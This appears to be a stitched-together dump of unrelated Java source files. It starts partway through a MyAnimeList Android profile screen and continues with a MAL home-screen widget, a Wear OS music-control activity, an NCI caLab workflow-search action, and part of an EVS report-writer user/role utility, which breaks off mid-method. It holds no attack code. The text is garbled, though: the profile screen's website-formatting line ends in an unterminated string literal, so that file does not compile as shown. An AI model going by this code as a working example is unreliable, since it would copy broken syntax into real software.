TextView tv8 = (TextView) findViewById(R.id.accessranksmall);
String name = record.getName();
String rank = record.getProfile().getDetails().getAccessRank() != null ? record.getProfile().getDetails().getAccessRank() : "";
if (!prefs.getTextColor()) {
setColor(true);
setColor(false);
if (rank.contains("Administrator")) {
tv8.setTextColor(Color.parseColor("#850000"));
} else if (rank.contains("Moderator")) {
tv8.setTextColor(Color.parseColor("#003385"));
} else if (User.isDeveloperRecord(name)) {
tv8.setTextColor(Color.parseColor("#008583")); //Developer
} else {
tv8.setTextColor(Color.parseColor("#0D8500")); //normal user
}
TextView tv11 = (TextView) findViewById(R.id.websitesmall);
tv11.setTextColor(Color.parseColor("#002EAB"));
}
if (User.isDeveloperRecord(name)) {
tv8.setText(R.string.access_rank_atarashii_developer); //Developer
}
}
public void setColor(boolean type) {
int Hue;
TextView textview;
if (type) {
textview = (TextView) findViewById(R.id.atimedayssmall); //anime
Hue = (int) (record.getProfile().getAnimeStats().getTimeDays() * 2.5);
} else {
textview = (TextView) findViewById(R.id.mtimedayssmall); // manga
Hue = (int) (record.getProfile().getMangaStats().getTimeDays() * 5);
}
if (Hue > 359) {
Hue = 359;
}
textview.setTextColor(Color.HSVToColor(new float[]{Hue, 1, (float) 0.7}));
}
private String getStringFromResourceArray(int resArrayId, int notFoundStringId, int index) {
Resources res = getResources();
try {
String[] types = res.getStringArray(resArrayId);
if (index < 0 || index >= types.length) // make sure to have a valid array index
return res.getString(notFoundStringId);
else
return types[index];
} catch (Resources.NotFoundException e) {
Crashlytics.logException(e);
return res.getString(notFoundStringId);
}
}
/*
* handle the loading indicator
*/
private void toggleLoadingIndicator(boolean show) {
if (viewFlipper != null) {
viewFlipper.setDisplayedChild(show ? 1 : 0);
}
}
/*
* handle the offline card
*/
private void toggleNoNetworkCard(boolean show) {
if (viewFlipper != null) {
viewFlipper.setDisplayedChild(show ? 2 : 0);
}
}
public void Settext() {
TextView tv1 = (TextView) findViewById(R.id.birthdaysmall);
if (record.getProfile().getDetails().getBirthday() == null) {
tv1.setText(R.string.not_specified);
} else {
String birthday = MALDateTools.formatDateString(record.getProfile().getDetails().getBirthday(), this, false);
tv1.setText(birthday.equals("") ? record.getProfile().getDetails().getBirthday() : birthday);
}
TextView tv2 = (TextView) findViewById(R.id.locationsmall);
if (record.getProfile().getDetails().getLocation() == null) {
tv2.setText(R.string.not_specified);
} else {
tv2.setText(record.getProfile().getDetails().getLocation());
}
TextView tv25 = (TextView) findViewById(R.id.websitesmall);
TextView tv26 = (TextView) findViewById(R.id.websitefront);
Card tv36 = (Card) findViewById(R.id.details_card);
if (record.getProfile().getDetails().getWebsite() != null && record.getProfile().getDetails().getWebsite().contains("http://") && record.getProfile().getDetails().getWebsite().contains(".")) { // filter fake websites
tv25.setText(record.getProfile().getDetails().getWebsite().replace("http:
} else {
tv25.setVisibility(View.GONE);
tv26.setVisibility(View.GONE);
}
TextView tv3 = (TextView) findViewById(R.id.commentspostssmall);
tv3.setText(String.valueOf(record.getProfile().getDetails().getComments()));
TextView tv4 = (TextView) findViewById(R.id.forumpostssmall);
tv4.setText(String.valueOf(record.getProfile().getDetails().getForumPosts()));
TextView tv5 = (TextView) findViewById(R.id.lastonlinesmall);
if (record.getProfile().getDetails().getLastOnline() != null) {
String lastOnline = MALDateTools.formatDateString(record.getProfile().getDetails().getLastOnline(), this, true);
tv5.setText(lastOnline.equals("") ? record.getProfile().getDetails().getLastOnline() : lastOnline);
} else
tv5.setText("-");
TextView tv6 = (TextView) findViewById(R.id.gendersmall);
tv6.setText(getStringFromResourceArray(R.array.gender, R.string.not_specified, record.getProfile().getDetails().getGenderInt()));
TextView tv7 = (TextView) findViewById(R.id.joindatesmall);
if (record.getProfile().getDetails().getJoinDate() != null) {
String joinDate = MALDateTools.formatDateString(record.getProfile().getDetails().getJoinDate(), this, false);
tv7.setText(joinDate.equals("") ? record.getProfile().getDetails().getJoinDate() : joinDate);
} else
tv7.setText("-");
TextView tv8 = (TextView) findViewById(R.id.accessranksmall);
tv8.setText(record.getProfile().getDetails().getAccessRank());
TextView tv9 = (TextView) findViewById(R.id.animelistviewssmall);
tv9.setText(String.valueOf(record.getProfile().getDetails().getAnimeListViews()));
TextView tv10 = (TextView) findViewById(R.id.mangalistviewssmall);
tv10.setText(String.valueOf(record.getProfile().getDetails().getMangaListViews()));
TextView tv11 = (TextView) findViewById(R.id.atimedayssmall);
tv11.setText(record.getProfile().getAnimeStats().getTimeDays().toString());
TextView tv12 = (TextView) findViewById(R.id.awatchingsmall);
tv12.setText(String.valueOf(record.getProfile().getAnimeStats().getWatching()));
TextView tv13 = (TextView) findViewById(R.id.acompletedpostssmall);
tv13.setText(String.valueOf(record.getProfile().getAnimeStats().getCompleted()));
TextView tv14 = (TextView) findViewById(R.id.aonholdsmall);
tv14.setText(String.valueOf(record.getProfile().getAnimeStats().getOnHold()));
TextView tv15 = (TextView) findViewById(R.id.adroppedsmall);
tv15.setText(String.valueOf(record.getProfile().getAnimeStats().getDropped()));
TextView tv16 = (TextView) findViewById(R.id.aplantowatchsmall);
tv16.setText(String.valueOf(record.getProfile().getAnimeStats().getPlanToWatch()));
TextView tv17 = (TextView) findViewById(R.id.atotalentriessmall);
tv17.setText(String.valueOf(record.getProfile().getAnimeStats().getTotalEntries()));
TextView tv18 = (TextView) findViewById(R.id.mtimedayssmall);
tv18.setText(record.getProfile().getMangaStats().getTimeDays().toString());
TextView tv19 = (TextView) findViewById(R.id.mwatchingsmall);
tv19.setText(String.valueOf(record.getProfile().getMangaStats().getReading()));
TextView tv20 = (TextView) findViewById(R.id.mcompletedpostssmall);
tv20.setText(String.valueOf(record.getProfile().getMangaStats().getCompleted()));
TextView tv21 = (TextView) findViewById(R.id.monholdsmall);
tv21.setText(String.valueOf(record.getProfile().getMangaStats().getOnHold()));
TextView tv22 = (TextView) findViewById(R.id.mdroppedsmall);
tv22.setText(String.valueOf(record.getProfile().getMangaStats().getDropped()));
TextView tv23 = (TextView) findViewById(R.id.mplantowatchsmall);
tv23.setText(String.valueOf(record.getProfile().getMangaStats().getPlanToRead()));
TextView tv24 = (TextView) findViewById(R.id.mtotalentriessmall);
tv24.setText(String.valueOf(record.getProfile().getMangaStats().getTotalEntries()));
if (tv36.getWidth() - tv25.getWidth() - tv25.getWidth() < 265) {
tv25.setTextSize(14);
}
if (tv36.getWidth() - tv25.getWidth() - tv25.getWidth() < 265 && tv25.getTextSize() == 14) {
tv25.setTextSize(12);
}
if (tv36.getWidth() - tv25.getWidth() - tv25.getWidth() < 265 && tv25.getTextSize() == 12) {
tv25.setTextSize(10);
}
if (tv36.getWidth() - tv25.getWidth() - tv25.getWidth() < 265 && tv25.getTextSize() == 10) {
tv25.setTextSize(8);
}
}
public void refresh(Boolean crouton) {
if (crouton) {
Crouton.makeText(this, R.string.crouton_info_UserRecord_updated, Style.CONFIRM).show();
}
if (record == null) {
if (MALApi.isNetworkAvailable(context)) {
Crouton.makeText(this, R.string.crouton_error_UserRecord, Style.ALERT).show();
} else {
toggleNoNetworkCard(true);
Crouton.makeText(this, R.string.crouton_error_noUserRecord, Style.ALERT).show();
}
} else {
card();
Settext();
setcolor();
toggleLoadingIndicator(false);
Picasso.with(context).load(record.getProfile().getAvatarUrl())
.error(R.drawable.cover_error)
.placeholder(R.drawable.cover_loading)
.into((ImageView) findViewById(R.id.Image), new Callback() {
@Override
public void onSuccess() {
imagecard.wrapWidth(true);
}
@Override
public void onError() {
}
});
}
}
void choosedialog(final boolean share) { //as the name says
AlertDialog.Builder builder = new AlertDialog.Builder(this);
final Intent sharingIntent = new Intent(android.content.Intent.ACTION_SEND);
if (share) {
builder.setTitle(R.string.dialog_title_share);
builder.setMessage(R.string.dialog_message_share);
sharingIntent.setType("text/plain");
sharingIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET);
} else {
builder.setTitle(R.string.dialog_title_view);
builder.setMessage(R.string.dialog_message_view);
}
builder.setPositiveButton(R.string.dialog_label_animelist, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
if (share) {
sharingIntent.putExtra(Intent.EXTRA_TEXT, getResources().getString(R.string.share_animelist)
.replace("$name;", record.getName())
.replace("$username;", AccountService.getUsername(context)));
startActivity(Intent.createChooser(sharingIntent, getString(R.string.dialog_title_share_via)));
} else {
Uri mallisturlanime = Uri.parse("http://myanimelist.net/animelist/" + record.getName());
startActivity(new Intent(Intent.ACTION_VIEW, mallisturlanime));
}
}
});
builder.setNeutralButton(R.string.dialog_label_cancel, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
}
});
builder.setNegativeButton(R.string.dialog_label_mangalist, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
if (share) {
sharingIntent.putExtra(Intent.EXTRA_TEXT, getResources().getString(R.string.share_mangalist)
.replace("$name;", record.getName())
.replace("$username;", AccountService.getUsername(context)));
startActivity(Intent.createChooser(sharingIntent, getString(R.string.dialog_title_share_via)));
} else {
Uri mallisturlmanga = Uri.parse("http://myanimelist.net/mangalist/" + record.getName());
startActivity(new Intent(Intent.ACTION_VIEW, mallisturlmanga));
}
}
});
builder.show();
}
@Override
public void onUserNetworkTaskFinished(User result) {
record = result;
refresh(forcesync);
}
}
|
package net.somethingdreadful.MAL.widgets;
import android.app.PendingIntent;
import android.appwidget.AppWidgetHost;
import android.appwidget.AppWidgetManager;
import android.appwidget.AppWidgetProvider;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.Drawable;
import android.os.AsyncTask;
import android.util.Log;
import android.view.View;
import android.widget.RemoteViews;
import com.crashlytics.android.Crashlytics;
import com.squareup.picasso.Picasso;
import com.squareup.picasso.Target;
import net.somethingdreadful.MAL.DetailView;
import net.somethingdreadful.MAL.PrefManager;
import net.somethingdreadful.MAL.R;
import net.somethingdreadful.MAL.account.AccountService;
import net.somethingdreadful.MAL.api.MALApi;
import net.somethingdreadful.MAL.api.response.AnimeManga.Anime;
import net.somethingdreadful.MAL.api.response.AnimeManga.GenericRecord;
import net.somethingdreadful.MAL.api.response.AnimeManga.Manga;
import net.somethingdreadful.MAL.dialog.RecordPickerDialog;
import net.somethingdreadful.MAL.sql.DatabaseManager;
import net.somethingdreadful.MAL.tasks.APIAuthenticationErrorListener;
import net.somethingdreadful.MAL.tasks.TaskJob;
import net.somethingdreadful.MAL.tasks.WriteDetailTask;
import java.util.ArrayList;
import io.fabric.sdk.android.Fabric;
public class Widget1 extends AppWidgetProvider implements APIAuthenticationErrorListener {
@Override
public void onUpdate(final Context c, final AppWidgetManager widgetManager, final int[] ids) {
DatabaseManager db = new DatabaseManager(c);
final Picasso picasso = Picasso.with(c);
AccountService.create(c);
ArrayList<GenericRecord> dbWidgetRecords = db.getWidgetRecords();
final int number = dbWidgetRecords.size();
final RemoteViews views = new RemoteViews(c.getPackageName(), R.layout.widget1);
Fabric.with(c, new Crashlytics());
Crashlytics.log(Log.INFO, "MALX", "Widget1.onUpdate(): " + ids.length + " widgets and " + number + " records");
int updates = ids.length <= number ? ids.length : number;
for (int i = 0; i < updates; i++) {
final GenericRecord widgetRecord = dbWidgetRecords.get(i);
final int finalI = i;
widgetRecord.setId(widgetRecord.isAnime ? widgetRecord.getId() : widgetRecord.getId() * -1);
picasso.load(widgetRecord.getImageUrl())
.into(new Target() {
@Override
public void onBitmapLoaded(Bitmap bitmap, Picasso.LoadedFrom from) {
// Handle the + button clicks
PrefManager.create(c);
int watchValue = widgetRecord.isAnime ? ((Anime) widgetRecord).getWatchedEpisodes() :
PrefManager.getUseSecondaryAmountsEnabled() ? ((Manga) widgetRecord).getVolumesRead() : ((Manga) widgetRecord).getChaptersRead();
int maxValue = widgetRecord.isAnime ? ((Anime) widgetRecord).getEpisodes() :
PrefManager.getUseSecondaryAmountsEnabled() ? ((Manga) widgetRecord).getVolumes() : ((Manga) widgetRecord).getChapters();
if (watchValue == maxValue)
views.setViewVisibility(R.id.popUpButton, View.GONE);
else {
views.setViewVisibility(R.id.popUpButton, View.VISIBLE);
Intent addIntent = new Intent(c, Widget1.class).setAction(Intent.ACTION_EDIT).putExtra("id", widgetRecord.getId());
views.setOnClickPendingIntent(R.id.popUpButton, PendingIntent.getBroadcast(c, widgetRecord.getId(), addIntent, PendingIntent.FLAG_UPDATE_CURRENT));
}
// Handle the cover clicks
Intent viewIntent = new Intent(c, Widget1.class).setAction(Intent.ACTION_VIEW).putExtra("id", widgetRecord.getId());
views.setOnClickPendingIntent(R.id.coverImage, PendingIntent.getBroadcast(c, widgetRecord.getId() * finalI * 10, viewIntent, PendingIntent.FLAG_UPDATE_CURRENT));
Intent changeIntent = new Intent(c, Widget1.class).setAction(Intent.ACTION_PROVIDER_CHANGED).putExtra("id", widgetRecord.getId());
views.setOnClickPendingIntent(R.id.changeRecord, PendingIntent.getBroadcast(c, widgetRecord.getId() * finalI * 100, changeIntent, PendingIntent.FLAG_UPDATE_CURRENT));
views.setTextViewText(R.id.animeName, widgetRecord.getTitle());
views.setTextViewText(R.id.watchedCount, Integer.toString(watchValue));
views.setImageViewBitmap(R.id.coverImage, bitmap);
widgetManager.updateAppWidget(ids[finalI], views);
}
@Override
public void onBitmapFailed(Drawable errorDrawable) {
}
@Override
public void onPrepareLoad(Drawable placeHolderDrawable) {
}
});
}
}
public static void forceRefresh(Context context) {
Intent updateWidgetIntent = new Intent(context, Widget1.class);
updateWidgetIntent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
context.sendBroadcast(updateWidgetIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
int[] ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, Widget1.class));
AccountService.create(context);
DatabaseManager db = new DatabaseManager(context);
Fabric.with(context, new Crashlytics());
int id = intent.getIntExtra("id", 0);
switch (intent.getAction()) {
case Intent.ACTION_EDIT:
if (id > 0) {
Anime anime = db.getAnime(id, AccountService.getUsername());
anime.setWatchedEpisodes(anime.getWatchedEpisodes() + 1);
if (anime.getWatchedEpisodes() == anime.getEpisodes()) {
anime.setWatchedStatus(GenericRecord.STATUS_COMPLETED);
if (anime.getRewatching()) {
anime.setRewatchCount(anime.getRewatchCount() + 1);
anime.setRewatching(false);
}
}
new WriteDetailTask(MALApi.ListType.ANIME, TaskJob.UPDATE, context, this).executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, anime);
} else {
PrefManager.create(context);
Manga manga = db.getManga(id * -1, AccountService.getUsername());
if (PrefManager.getUseSecondaryAmountsEnabled())
manga.setVolumesRead(manga.getVolumesRead() + 1);
else
manga.setChaptersRead(manga.getChaptersRead() + 1);
if (manga.getChaptersRead() == manga.getChapters() && manga.getChapters() != 0) {
manga.setReadStatus(GenericRecord.STATUS_COMPLETED);
if (manga.getRereading()) {
manga.setRereadCount(manga.getRereadCount() + 1);
manga.setRereading(false);
}
}
new WriteDetailTask(MALApi.ListType.MANGA, TaskJob.UPDATE, context, this).executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, manga);
}
onUpdate(context, AppWidgetManager.getInstance(context), ids);
break;
case Intent.ACTION_PROVIDER_CHANGED:
Intent changeRecord = new Intent(context, RecordPickerDialog.class);
changeRecord.putExtra("recordID", id > 0 ? id : id * -1);
changeRecord.putExtra("recordType", id > 0 ? MALApi.ListType.ANIME : MALApi.ListType.MANGA);
changeRecord.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(changeRecord);
break;
case Intent.ACTION_VIEW:
Intent startDetails = new Intent(context, DetailView.class);
startDetails.putExtra("recordID", id > 0 ? id : id * -1);
startDetails.putExtra("recordType", id > 0 ? MALApi.ListType.ANIME : MALApi.ListType.MANGA);
startDetails.putExtra("username", AccountService.getUsername());
startDetails.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(startDetails);
break;
case AppWidgetManager.ACTION_APPWIDGET_UPDATE:
final int number = db.getWidgetRecords().size();
if (intent.getBooleanExtra("checkGhost", false)) {
// Remove old widget records
if (number > ids.length) {
for (int i = 0; i < (number - ids.length); i++)
db.removeWidgetRecord();
Crashlytics.log(Log.INFO, "MALX", "Widget1.onUpdate(): Removing " + (number - ids.length) + " widget records");
}
// Remove ghost widgets
if (ids.length > number) {
for (int i = 0; i < (ids.length - number); i++)
(new AppWidgetHost(context, 1)).deleteAppWidgetId(ids[ids.length - 2]); // the array length starts with 1 and not 0
Crashlytics.log(Log.INFO, "MALX", "Widget1.onUpdate(): Removing " + (ids.length - number) + " ghost widgets");
ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, Widget1.class));
}
}
onUpdate(context, AppWidgetManager.getInstance(context), ids);
break;
}
}
@Override
public void onAPIAuthenticationError(MALApi.ListType type, TaskJob job) {
}
}
|
package com.laithlab.rhythm;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v4.content.LocalBroadcastManager;
import android.support.wearable.view.WatchViewStub;
import android.view.View;
import android.widget.TextView;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.common.api.ResultCallback;
import com.google.android.gms.wearable.DataItemBuffer;
import com.google.android.gms.wearable.DataMap;
import com.google.android.gms.wearable.DataMapItem;
import com.google.android.gms.wearable.Node;
import com.google.android.gms.wearable.NodeApi;
import com.google.android.gms.wearable.Wearable;
import com.laithlab.core.service.Constants;
import java.util.List;
import java.util.concurrent.TimeUnit;
import de.hdodenhof.circleimageview.CircleImageView;
public class MessageActivity extends Activity implements GoogleApiClient.ConnectionCallbacks,
GoogleApiClient.OnConnectionFailedListener {
private static final long CONNECTION_TIME_OUT_MS = 100;
private GoogleApiClient client;
private final WearMessageReceiver messageReceiver = new WearMessageReceiver();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_message);
initApi();
final WatchViewStub stub = (WatchViewStub) findViewById(R.id.watch_view_stub);
stub.setOnLayoutInflatedListener(new WatchViewStub.OnLayoutInflatedListener() {
@Override
public void onLayoutInflated(WatchViewStub stub) {
setupWidgets();
}
});
}
@Override
protected void onStart() {
super.onStart();
client.connect();
IntentFilter messageFilter = new IntentFilter(Intent.ACTION_SEND);
LocalBroadcastManager.getInstance(this).registerReceiver(messageReceiver, messageFilter);
}
protected void onStop() {
if (client != null && client.isConnected()) {
client.disconnect();
}
LocalBroadcastManager.getInstance(this).unregisterReceiver(messageReceiver);
super.onStop();
}
@Override
public void onConnected(Bundle bundle) {
Wearable.DataApi.getDataItems(client).setResultCallback(resultCallback);
}
@Override
public void onConnectionSuspended(int i) {
}
@Override
public void onConnectionFailed(ConnectionResult connectionResult) {
}
class WearMessageReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle dataBundle = intent.getBundleExtra("wear_data");
TextView songTitle = (TextView) findViewById(R.id.wear_song_played_title);
songTitle.setText(dataBundle.getString("song_title"));
byte[] songCover = dataBundle.getByteArray("song_cover");
CircleImageView circleImageView = (CircleImageView) findViewById(R.id.wear_song_cover);
if (dataBundle.getByteArray("song_cover") != null) {
Bitmap bmp = BitmapFactory.decodeByteArray(songCover, 0, songCover.length);
circleImageView.setImageBitmap(bmp);
} else {
circleImageView.setImageResource(android.R.color.transparent);
}
}
}
/**
* Initializes the GoogleApiClient and gets the Node ID of the connected device.
*/
private void initApi() {
client = getGoogleApiClient(this);
}
/**
* Sets up the button for handling click events.
*/
private void setupWidgets() {
findViewById(R.id.wear_pause).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
sendCommand(Constants.ACTION_PAUSE);
}
});
findViewById(R.id.wear_play).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
sendCommand(Constants.ACTION_PLAY);
}
});
findViewById(R.id.wear_next).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
sendCommand(Constants.ACTION_NEXT);
}
});
findViewById(R.id.wear_previous).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
sendCommand(Constants.ACTION_PREVIOUS);
}
});
}
private GoogleApiClient getGoogleApiClient(Context context) {
return new GoogleApiClient.Builder(context)
.addApi(Wearable.API)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.build();
}
private void sendCommand(final String command) {
new Thread(new Runnable() {
@Override
public void run() {
client.blockingConnect(CONNECTION_TIME_OUT_MS, TimeUnit.MILLISECONDS);
NodeApi.GetConnectedNodesResult result =
Wearable.NodeApi.getConnectedNodes(client).await();
List<Node> nodes = result.getNodes();
for (Node node : nodes) {
Wearable.MessageApi.sendMessage(client, node.getId(), command, null);
}
client.disconnect();
}
}).start();
}
private final ResultCallback<DataItemBuffer> resultCallback = new ResultCallback<DataItemBuffer>() {
@Override
public void onResult(DataItemBuffer dataItems) {
if (dataItems.getCount() != 0) {
DataMap dataMap = DataMapItem.fromDataItem(dataItems.get(0)).getDataMap();
}
dataItems.release();
}
};
}
|
package gov.nih.nci.calab.ui.search;
/**
* This class searches workflows based on user supplied criteria.
*
* @author pansu
*/
/* CVS $Id: SearchWorkflowAction.java,v 1.8 2006-04-26 21:35:46 pansu Exp $ */
import gov.nih.nci.calab.dto.search.WorkflowResultBean;
import gov.nih.nci.calab.service.search.SearchWorkflowService;
import gov.nih.nci.calab.service.util.StringUtils;
import gov.nih.nci.calab.ui.core.AbstractBaseAction;
import java.util.Date;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.log4j.Logger;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.action.ActionMessage;
import org.apache.struts.action.ActionMessages;
import org.apache.struts.validator.DynaValidatorForm;
public class SearchWorkflowAction extends AbstractBaseAction {
private static Logger logger = Logger.getLogger(SearchWorkflowAction.class);
public ActionForward executeTask(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
ActionForward forward = null;
ActionMessages msgs = new ActionMessages();
try {
DynaValidatorForm theForm = (DynaValidatorForm) form;
String assayName = (String) theForm.get("assayName");
String assayType = ((String) theForm.get("assayType")).trim();
String assayRunDateBeginStr = (String) theForm
.get("assayRunDateBegin");
String assayRunDateEndStr = (String) theForm.get("assayRunDateEnd");
Date assayRunDateBegin = assayRunDateBeginStr.length() == 0 ? null
: StringUtils.convertToDate(assayRunDateBeginStr,
"MM/dd/yyyy");
Date assayRunDateEnd = assayRunDateEndStr.length() == 0 ? null
: StringUtils.convertToDate(assayRunDateEndStr,
"MM/dd/yyyy");
String aliquotName = (String) theForm.get("aliquotName");
boolean includeMaskedAliquots = ((String) theForm
.get("includeMaskedAliquots")).equals("on") ? true : false;
String fileName = (String) theForm.get("fileName");
boolean isFileInput = ((String) theForm.get("isFileIn"))
.equals("on") ? true : false;
boolean isFileOutput = ((String) theForm.get("isFileOut"))
.equals("on") ? true : false;
//if both are false set them to true
// if (!isFileInput&&!isFileOutput) {
// isFileInput=true;
// isFileOutput=true;
String fileSubmissionDateBeginStr = (String) theForm
.get("fileSubmissionDateBegin");
String fileSubmissionDateEndStr = (String) theForm
.get("fileSubmissionDateEnd");
Date fileSubmissionDateBegin = fileSubmissionDateBeginStr.length() == 0 ? null
: StringUtils.convertToDate(fileSubmissionDateBeginStr,
"MM/dd/yyyy");
Date fileSubmissionDateEnd = fileSubmissionDateEndStr.length() == 0 ? null
: StringUtils.convertToDate(fileSubmissionDateEndStr,
"MM/dd/yyyy");
String fileSubmitter = (String) theForm.get("fileSubmitter");
boolean includeMaskedFiles = ((String) theForm
.get("includeMaskedFiles")).equals("on") ? true : false;
String criteriaJoin = (String) theForm.get("criteriaJoin");
// pass the parameters to the searchWorkflowService
SearchWorkflowService searchWorkflowService = new SearchWorkflowService();
List<WorkflowResultBean> workflows = searchWorkflowService
.searchWorkflows(assayName, assayType, assayRunDateBegin,
assayRunDateEnd, aliquotName, includeMaskedAliquots,
fileName, isFileInput, isFileOutput, fileSubmissionDateBegin,
fileSubmissionDateEnd, fileSubmitter,
includeMaskedFiles, criteriaJoin);
if (workflows == null || workflows.isEmpty()) {
ActionMessage msg = new ActionMessage(
"message.searchWorkflow.noResult");
msgs.add("message", msg);
saveMessages(request, msgs);
forward = mapping.getInputForward();
} else {
request.setAttribute("workflows", workflows);
forward = mapping.findForward("success");
}
} catch (Exception e) {
ActionMessage error = new ActionMessage("error.searchWorkflow");
msgs.add("error", error);
saveMessages(request, msgs);
logger.error("Caught exception searching workflow data", e);
forward = mapping.getInputForward();
}
return forward;
}
public boolean loginRequired() {
return true;
}
}
|
package gov.nih.nci.evs.reportwriter.utils;
import gov.nih.nci.evs.reportwriter.bean.*;
import java.io.File;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Date;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import gov.nih.nci.system.client.ApplicationServiceProvider;
import gov.nih.nci.system.query.SDKQueryResult;
import gov.nih.nci.system.query.example.DeleteExampleQuery;
import gov.nih.nci.system.query.example.InsertExampleQuery;
import gov.nih.nci.system.query.example.UpdateExampleQuery;
import gov.nih.nci.system.applicationservice.ApplicationService;
import gov.nih.nci.system.applicationservice.WritableApplicationService;
/**
* @author EVS Team
* @version 1.0
*/
public class SDKClientUtil {
public SDKClientUtil() {
}
private ReportUser createReportUser(
String userID,
String suffix,
String firstName,
String middleInitial,
String lastName,
String title,
String organization,
String phone,
String email,
int roleID,
String pwd,
Date passwordLastModified,
int statusID,
Date statusLastModified,
String statusModifiedBy) {
ReportUser reportUser = new ReportUser();
reportUser.setUserID(userID);
reportUser.setSuffix(suffix);
reportUser.setFirstName(firstName);
reportUser.setMiddleInitial(middleInitial);
reportUser.setLastName(lastName);
reportUser.setTitle(title);
reportUser.setOrganization(organization);
reportUser.setPhone(phone);
reportUser.setEmail(email);
reportUser.setRoleID(roleID);
reportUser.setPwd(pwd);
reportUser.setPasswordLastModified(passwordLastModified);
reportUser.setStatusID(statusID);
reportUser.setStatusLastModified(statusLastModified);
reportUser.setStatusModifiedBy(statusModifiedBy);
return reportUser;
}
public void insertReportUser(
String userID,
String suffix,
String firstName,
String middleInitial,
String lastName,
String title,
String organization,
String phone,
String email,
int roleID,
String pwd,
Date passwordLastModified,
int statusID,
Date statusLastModified,
String statusModifiedBy) throws Exception {
ReportUser reportUser = createReportUser(
userID,
suffix,
firstName,
middleInitial,
lastName,
title,
organization,
phone,
email,
roleID,
pwd,
passwordLastModified,
statusID,
statusLastModified,
statusModifiedBy);
insertReportUser(reportUser);
}
public void updateReportUser(
String userID,
String suffix,
String firstName,
String middleInitial,
String lastName,
String title,
String organization,
String phone,
String email,
int roleID,
String pwd,
Date passwordLastModified,
int statusID,
Date statusLastModified,
String statusModifiedBy) throws Exception {
ReportUser reportUser = createReportUser(
userID,
suffix,
firstName,
middleInitial,
lastName,
title,
organization,
phone,
email,
roleID,
pwd,
passwordLastModified,
statusID,
statusLastModified,
statusModifiedBy);
updateReportUser(reportUser);
}
public void deleteReportUser(
String userID,
String suffix,
String firstName,
String middleInitial,
String lastName,
String title,
String organization,
String phone,
String email,
int roleID,
String pwd,
Date passwordLastModified,
int statusID,
Date statusLastModified,
String statusModifiedBy) throws Exception {
ReportUser reportUser = createReportUser(
userID,
suffix,
firstName,
middleInitial,
lastName,
title,
organization,
phone,
email,
roleID,
pwd,
passwordLastModified,
statusID,
statusLastModified,
statusModifiedBy);
deleteReportUser(reportUser);
}
public void insertReportUser(ReportUser reportUser) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(reportUser);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportUser = (ReportUser)queryResult.getObjectResult();
}
public void updateReportUser(ReportUser reportUser) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(reportUser);
SDKQueryResult queryResult = appService.executeQuery(query);
//reportUser = (ReportUser)queryResult.getObjectResult();
}
public void deleteReportUser(ReportUser reportUser) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
DeleteExampleQuery query = new DeleteExampleQuery(reportUser);
SDKQueryResult queryResult = appService.executeQuery(query);
}
private UserRole createUserRole(
int roleID,
String roleDescription) {
UserRole userRole = new UserRole();
userRole.setRoleID(roleID);
userRole.setRoleDescription(roleDescription);
return userRole;
}
public void insertUserRole(
int roleID,
String roleDescription) throws Exception {
UserRole userRole = createUserRole(
roleID,
roleDescription);
insertUserRole(userRole);
}
public void updateUserRole(
int roleID,
String roleDescription) throws Exception {
UserRole userRole = createUserRole(
roleID,
roleDescription);
updateUserRole(userRole);
}
public void deleteUserRole(
int roleID,
String roleDescription) throws Exception {
UserRole userRole = createUserRole(
roleID,
roleDescription);
deleteUserRole(userRole);
}
public void insertUserRole(UserRole userRole) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
InsertExampleQuery query = new InsertExampleQuery(userRole);
SDKQueryResult queryResult = appService.executeQuery(query);
//userRole = (UserRole)queryResult.getObjectResult();
}
public void updateUserRole(UserRole userRole) throws Exception {
WritableApplicationService appService = (WritableApplicationService)ApplicationServiceProvider.getApplicationService();
UpdateExampleQuery query = new UpdateExampleQuery(userRole);
